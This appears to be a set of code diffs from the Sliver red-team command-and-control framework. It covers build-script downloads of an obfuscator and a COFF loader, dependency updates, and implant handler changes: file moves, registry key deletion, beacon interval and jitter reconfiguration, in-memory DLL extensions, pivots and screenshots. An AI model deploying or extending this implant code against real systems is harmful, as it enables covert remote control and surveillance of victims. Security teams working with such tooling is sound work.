curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " COFF Loader"
|
||||
echo "-----------------------------------------------------------------"
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/coff-loader/windows/COFFLoader.x64.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x64.dll
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/coff-loader/windows/COFFLoader.x86.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x86.dll
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
|
||||
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
|
||||
|
||||
# end
|
||||
echo -e "clean up: $WORK_DIR"
|
||||
|
||||
@@ -2,9 +2,6 @@ module github.com/bishopfox/sliver
|
||||
|
||||
go 1.17
|
||||
|
||||
// fix wgctrl requiring old wireguard
|
||||
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
|
||||
|
||||
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
|
||||
|
||||
require (
|
||||
@@ -14,7 +11,7 @@ require (
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
|
||||
github.com/Microsoft/go-winio v0.4.16 // indirect
|
||||
github.com/Microsoft/go-winio v0.5.1 // indirect
|
||||
github.com/alecthomas/chroma v0.8.1
|
||||
github.com/cheggaaa/pb/v3 v3.0.5
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
@@ -39,31 +36,32 @@ require (
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/sergi/go-diff v1.1.0 // indirect
|
||||
github.com/sirupsen/logrus v1.7.0
|
||||
github.com/sirupsen/logrus v1.8.1
|
||||
github.com/spf13/cobra v1.1.1
|
||||
github.com/stretchr/testify v1.7.0
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/net v0.0.0-20210614182718-04defd469f4e
|
||||
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1
|
||||
golang.org/x/text v0.3.6
|
||||
golang.zx2c4.com/wireguard v0.0.20200121
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
|
||||
google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
|
||||
google.golang.org/grpc v1.37.0
|
||||
google.golang.org/protobuf v1.26.0
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
|
||||
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
|
||||
golang.org/x/text v0.3.7
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
|
||||
google.golang.org/protobuf v1.27.1
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
|
||||
gorm.io/driver/mysql v1.0.3
|
||||
gorm.io/driver/postgres v1.0.5
|
||||
gorm.io/driver/sqlite v1.1.3
|
||||
gorm.io/gorm v1.21.14
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/shirou/gopsutil/v3 v3.21.10
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
modernc.org/sqlite v1.14.3
|
||||
)
|
||||
|
||||
@@ -105,12 +103,11 @@ require (
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/mod v0.3.0 // indirect
|
||||
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
|
||||
golang.org/x/mod v0.5.1 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.1.0 // indirect
|
||||
golang.org/x/tools v0.1.9 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
|
||||
lukechampine.com/uint128 v1.1.1 // indirect
|
||||
|
||||
+19
-19
@@ -1,24 +1,24 @@
|
||||
module github.com/bishopfox/sliver
|
||||
|
||||
go 1.16
|
||||
go 1.17
|
||||
|
||||
require (
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
|
||||
github.com/Microsoft/go-winio v0.5.0 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/stretchr/testify v1.7.0
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
|
||||
golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
|
||||
golang.zx2c4.com/wireguard/windows v0.5.1
|
||||
google.golang.org/protobuf v1.23.0
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
|
||||
github.com/Microsoft/go-winio v0.5.0 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/stretchr/testify v1.7.0
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
golang.zx2c4.com/wireguard/windows v0.5.1
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
google.golang.org/protobuf v1.23.0
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
)
|
||||
@@ -29,11 +29,11 @@ import (
|
||||
"io"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"time"
|
||||
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
@@ -73,6 +73,9 @@ func ECCEncrypt(recipientPublicKey *[32]byte, senderPrivateKey *[32]byte, plaint
|
||||
|
||||
// ECCDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
|
||||
func ECCDecrypt(senderPublicKey *[32]byte, recipientPrivateKey *[32]byte, ciphertext []byte) ([]byte, error) {
|
||||
if len(ciphertext) < 24 {
|
||||
return nil, errors.New("ciphertext too short")
|
||||
}
|
||||
var decryptNonce [24]byte
|
||||
copy(decryptNonce[:], ciphertext[:24])
|
||||
plaintext, ok := box.Open(nil, ciphertext[24:], &decryptNonce, senderPublicKey, recipientPrivateKey)
|
||||
@@ -104,11 +107,12 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
plaintext = bytes.NewBuffer(GzipBuf(plaintext)).Bytes()
|
||||
nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
|
||||
if _, err := rand.Read(nonce); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return aead.Seal(nonce, nonce, GzipBuf(plaintext), nil), nil
|
||||
return aead.Seal(nonce, nonce, plaintext, nil), nil
|
||||
}
|
||||
|
||||
// Decrypt - Decrypt using chacha20poly1305
|
||||
|
||||
@@ -43,6 +43,7 @@ var (
|
||||
// TOTP secret value
|
||||
totpSecret = "{{.OTPSecret}}"
|
||||
|
||||
// ErrInvalidPeerKey - Peer to peer key exchange failed
|
||||
ErrInvalidPeerKey = errors.New("invalid peer key")
|
||||
)
|
||||
|
||||
@@ -136,7 +137,7 @@ func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
|
||||
return msg, nil
|
||||
}
|
||||
|
||||
// ECCEncryptToPeer - Encrypt using the server's public key
|
||||
// ECCEncryptToPeer - Encrypt using the peer's public key
|
||||
func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
|
||||
valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
|
||||
if !valid {
|
||||
@@ -152,7 +153,7 @@ func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, p
|
||||
return ciphertext, nil
|
||||
}
|
||||
|
||||
// ECCEncryptToPeer - Encrypt using the server's public key
|
||||
// ECCDecryptFromPeer - Decrypt a message from a peer
|
||||
func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
|
||||
valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
|
||||
if !valid {
|
||||
|
||||
@@ -18,7 +18,13 @@ package extension
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import "errors"
|
||||
import (
|
||||
"errors"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var extensions map[string]Extension
|
||||
|
||||
@@ -45,6 +51,11 @@ func Run(extID string, funcName string, arguments []byte, callback func([]byte))
|
||||
if ext, found := extensions[extID]; found {
|
||||
return ext.Call(funcName, arguments, callback)
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
for id, ext := range extensions {
|
||||
log.Printf("Extension '%s' (%s)", id, ext.GetArch())
|
||||
}
|
||||
//{{end}}
|
||||
return errors.New("{{if .Config.Debug}} extension not found{{end}}")
|
||||
}
|
||||
|
||||
|
||||
@@ -37,15 +37,15 @@ const (
|
||||
)
|
||||
|
||||
type WindowsExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *memmod.Module
|
||||
arch string
|
||||
init string
|
||||
onFinish func([]byte)
|
||||
serverStore bool
|
||||
id string
|
||||
data []byte
|
||||
module *memmod.Module
|
||||
arch string
|
||||
init string
|
||||
onFinish func([]byte)
|
||||
}
|
||||
|
||||
// NewWindowsExtension - Load a new windows extension
|
||||
func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
|
||||
return &WindowsExtension{
|
||||
id: id,
|
||||
@@ -55,16 +55,22 @@ func NewWindowsExtension(data []byte, id string, arch string, init string) *Wind
|
||||
}
|
||||
}
|
||||
|
||||
// GetID - Get the extension ID
|
||||
func (w *WindowsExtension) GetID() string {
|
||||
return w.id
|
||||
}
|
||||
|
||||
// GetArch - Get the extension architecture
|
||||
func (w *WindowsExtension) GetArch() string {
|
||||
return w.arch
|
||||
}
|
||||
|
||||
// Load - Load the extension into memory
|
||||
func (w *WindowsExtension) Load() error {
|
||||
var err error
|
||||
if len(w.data) == 0 {
|
||||
return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
|
||||
}
|
||||
w.module, err = memmod.LoadLibrary(w.data)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -83,6 +89,7 @@ func (w *WindowsExtension) Load() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Call - Call an extension export
|
||||
func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
|
||||
var (
|
||||
argumentsPtr uintptr
|
||||
|
||||
@@ -153,7 +153,7 @@ func rmHandler(data []byte, resp RPCResponse) {
|
||||
_, err = os.Stat(target)
|
||||
if err == nil {
|
||||
if (target == "/" || target == "C:\\") && !rmReq.Force {
|
||||
err = errors.New("Cowardly refusing to remove volume root without force")
|
||||
err = errors.New("cowardly refusing to remove volume root without force")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -178,6 +178,28 @@ func rmHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func mvHandler(data []byte, resp RPCResponse) {
|
||||
mvReq := &sliverpb.MvReq{}
|
||||
err := proto.Unmarshal(data, mvReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
move := &sliverpb.Mv{}
|
||||
err = os.Rename(mvReq.Src, mvReq.Dst)
|
||||
if err != nil {
|
||||
move.Response = &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
}
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(move)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func mkdirHandler(data []byte, resp RPCResponse) {
|
||||
mkdirReq := &sliverpb.MkdirReq{}
|
||||
err := proto.Unmarshal(data, mkdirReq)
|
||||
@@ -529,31 +551,30 @@ func unsetEnvHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func reconnectIntervalHandler(data []byte, resp RPCResponse) {
|
||||
reconnectIntervalReq := &sliverpb.ReconnectIntervalReq{}
|
||||
err := proto.Unmarshal(data, reconnectIntervalReq)
|
||||
func reconfigureHandler(data []byte, resp RPCResponse) {
|
||||
reconfigReq := &sliverpb.ReconfigureReq{}
|
||||
err := proto.Unmarshal(data, reconfigReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v\n", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
reconnectInterval := reconnectIntervalReq.GetReconnectInterval()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Update reconnect interval called: %d\n", reconnectInterval)
|
||||
// {{end}}
|
||||
|
||||
// Set the reconnect interval value
|
||||
transports.SetReconnectInterval(reconnectInterval)
|
||||
|
||||
recIntervalResp := &sliverpb.ReconnectInterval{}
|
||||
recIntervalResp.Response = &commonpb.Response{}
|
||||
if err != nil {
|
||||
recIntervalResp.Response.Err = err.Error()
|
||||
if reconfigReq.ReconnectInterval != 0 {
|
||||
transports.SetReconnectInterval(reconfigReq.ReconnectInterval)
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(recIntervalResp)
|
||||
// {{if .Config.IsBeacon}}
|
||||
if reconfigReq.BeaconInterval != 0 {
|
||||
transports.SetInterval(reconfigReq.BeaconInterval)
|
||||
}
|
||||
if reconfigReq.BeaconJitter != 0 {
|
||||
transports.SetJitter(reconfigReq.BeaconJitter)
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
reconfigResp := &sliverpb.Reconfigure{}
|
||||
data, err = proto.Marshal(reconfigResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
@@ -561,6 +582,9 @@ func reconnectIntervalHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
func gzipWrite(w io.Writer, data []byte) error {
|
||||
gw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer gw.Close()
|
||||
gw.Write(data)
|
||||
return err
|
||||
|
||||
@@ -37,6 +37,7 @@ var (
|
||||
pb.MsgPwdReq: pwdHandler,
|
||||
pb.MsgRmReq: rmHandler,
|
||||
pb.MsgMkdirReq: mkdirHandler,
|
||||
pb.MsgMvReq: mvHandler,
|
||||
pb.MsgIfconfigReq: ifconfigHandler,
|
||||
pb.MsgExecuteReq: executeHandler,
|
||||
pb.MsgEnvReq: getEnvHandler,
|
||||
@@ -48,8 +49,8 @@ var (
|
||||
|
||||
pb.MsgSideloadReq: sideloadHandler,
|
||||
|
||||
pb.MsgReconnectIntervalReq: reconnectIntervalHandler,
|
||||
pb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
pb.MsgReconfigureReq: reconfigureHandler,
|
||||
pb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
|
||||
// Extensions
|
||||
pb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
|
||||
@@ -32,19 +32,20 @@ import (
|
||||
|
||||
var (
|
||||
genericHandlers = map[uint32]RPCHandler{
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgSetEnvReq: setEnvHandler,
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@@ -34,6 +34,7 @@ var (
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgTaskReq: taskHandler,
|
||||
sliverpb.MsgIfconfigReq: ifconfigHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
@@ -46,8 +47,8 @@ var (
|
||||
sliverpb.MsgNetstatReq: netstatHandler,
|
||||
sliverpb.MsgSideloadReq: sideloadHandler,
|
||||
|
||||
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
|
||||
// {{if .Config.WGc2Enabled}}
|
||||
// Wireguard specific
|
||||
|
||||
@@ -77,21 +77,23 @@ var (
|
||||
sliverpb.MsgRegistryReadReq: regReadHandler,
|
||||
sliverpb.MsgRegistryWriteReq: regWriteHandler,
|
||||
sliverpb.MsgRegistryCreateKeyReq: regCreateKeyHandler,
|
||||
sliverpb.MsgRegistryDeleteKeyReq: regDeleteKeyHandler,
|
||||
sliverpb.MsgRegistrySubKeysListReq: regSubKeysListHandler,
|
||||
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
|
||||
|
||||
// Generic
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgReconnectIntervalReq: reconnectIntervalHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
@@ -496,6 +498,23 @@ func regCreateKeyHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func regDeleteKeyHandler(data []byte, resp RPCResponse) {
|
||||
deleteReq := &sliverpb.RegistryDeleteKeyReq{}
|
||||
err := proto.Unmarshal(data, deleteReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = registry.DeleteKey(deleteReq.Hostname, deleteReq.Hive, deleteReq.Path, deleteReq.Key)
|
||||
deleteResp := &sliverpb.RegistryDeleteKey{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
deleteResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(deleteResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func regSubKeysListHandler(data []byte, resp RPCResponse) {
|
||||
listReq := &sliverpb.RegistrySubKeyListReq{}
|
||||
err := proto.Unmarshal(data, listReq)
|
||||
@@ -584,20 +603,17 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerReq := &sliverpb.RegisterExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, registerReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
extension.Add(ext)
|
||||
err = ext.Load()
|
||||
registerResp := &sliverpb.RegisterExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
registerResp := &sliverpb.RegisterExtension{Response: &commonpb.Response{}}
|
||||
if err != nil {
|
||||
registerResp.Response.Err = err.Error()
|
||||
} else {
|
||||
extension.Add(ext)
|
||||
}
|
||||
data, err = proto.Marshal(registerResp)
|
||||
resp(data, err)
|
||||
@@ -605,15 +621,12 @@ func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &sliverpb.CallExtensionReq{}
|
||||
|
||||
err := proto.Unmarshal(data, callReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &sliverpb.CallExtension{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
callResp := &sliverpb.CallExtension{Response: &commonpb.Response{}}
|
||||
gotOutput := false
|
||||
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
gotOutput = true
|
||||
|
||||
@@ -69,8 +69,8 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
|
||||
return
|
||||
}
|
||||
|
||||
if startListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
|
||||
listener, err := startListener(req.BindAddress, connection.Send)
|
||||
if createListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
|
||||
listener, err := createListener(req.BindAddress, connection.Send)
|
||||
if err != nil {
|
||||
resp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(resp)
|
||||
@@ -80,6 +80,7 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
|
||||
}
|
||||
return
|
||||
}
|
||||
go listener.Start()
|
||||
pivots.AddListener(listener)
|
||||
data, _ := proto.Marshal(listener.ToProtobuf())
|
||||
connection.Send <- &pb.Envelope{
|
||||
@@ -117,12 +118,20 @@ func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Conn
|
||||
}
|
||||
|
||||
func pivotPeerEnvelopeHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
sent := pivots.SendToPeer(envelope)
|
||||
sent, err := pivots.SendToPeer(envelope)
|
||||
if !sent {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Send to peer failed, report peer failure upstream ...")
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPeerFailure{ID: envelope.ID})
|
||||
errStr := ""
|
||||
if err != nil {
|
||||
errStr = err.Error()
|
||||
}
|
||||
data, _ := proto.Marshal(&pb.PivotPeerFailure{
|
||||
PeerID: pivots.MyPeerID,
|
||||
Type: pb.PeerFailureType_SEND_FAILURE,
|
||||
Err: errStr,
|
||||
})
|
||||
connection.Send <- &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerFailure,
|
||||
Data: data,
|
||||
|
||||
@@ -174,7 +174,7 @@ func ifconfig() *sliverpb.Ifconfig {
|
||||
}
|
||||
|
||||
func screenshotHandler(data []byte, resp RPCResponse) {
|
||||
sc := &sliverpb.Screenshot{}
|
||||
sc := &sliverpb.ScreenshotReq{}
|
||||
err := proto.Unmarshal(data, sc)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -185,9 +185,9 @@ func screenshotHandler(data []byte, resp RPCResponse) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Screenshot Request")
|
||||
// {{end}}
|
||||
|
||||
sc.Data = screen.Screenshot()
|
||||
data, err = proto.Marshal(sc)
|
||||
scRes := &sliverpb.Screenshot{}
|
||||
scRes.Data = screen.Screenshot()
|
||||
data, err = proto.Marshal(scRes)
|
||||
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
@@ -22,6 +22,7 @@ package handlers
|
||||
|
||||
import (
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -54,6 +55,9 @@ func killHandler(data []byte, _ *transports.Connection) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Let's exit!")
|
||||
// {{end}}
|
||||
os.Exit(0)
|
||||
go func() {
|
||||
time.Sleep(time.Second)
|
||||
os.Exit(0)
|
||||
}()
|
